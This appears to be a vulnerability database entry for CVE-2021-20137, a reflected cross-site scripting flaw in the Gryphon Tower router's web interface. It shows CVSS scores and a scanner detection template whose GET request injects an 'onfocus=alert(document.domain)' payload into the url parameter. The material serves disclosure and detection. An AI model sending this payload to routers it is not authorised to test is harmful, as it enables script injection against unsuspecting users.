CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
96.7%
Gryphon Tower router web interface contains a reflected cross-site scripting vulnerability in the url parameter of the /cgi-bin/luci/site_access/ page. An attacker can exploit this issue by tricking a user into following a specially crafted link, granting the attacker JavaScript execution in the victim’s browser.
id: CVE-2021-20137
info:
name: Gryphon Tower - Cross-Site Scripting
author: edoardottt
severity: medium
description: Gryphon Tower router web interface contains a reflected cross-site scripting vulnerability in the url parameter of the /cgi-bin/luci/site_access/ page. An attacker can exploit this issue by tricking a user into following a specially crafted link, granting the attacker JavaScript execution in the victim's browser.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20137
- https://www.tenable.com/security/research/tra-2021-51
- https://nvd.nist.gov/vuln/detail/CVE-2021-20137
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-20137
cwe-id: CWE-79
epss-score: 0.23391
epss-percentile: 0.96553
cpe: cpe:2.3:h:gryphonconnect:gryphon_tower:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gryphonconnect
product: gryphon_tower
tags: cve2021,cve,xss,tenable,gryphon,gryphonconnect
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- 'onfocus=alert(document.domain) autofocus=1>'
- 'Send Access Request URL'
condition: and
- type: status
status:
- 200
# digest: 490a0046304402203158e583871baabbe12802cc13a547061a472688943ddb5862a8dcd926e6f4e102203e86aded4c5885c971f7f95907d3cd1ebf7e061e61b84f1d317a7eb61eece2e8:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
96.7%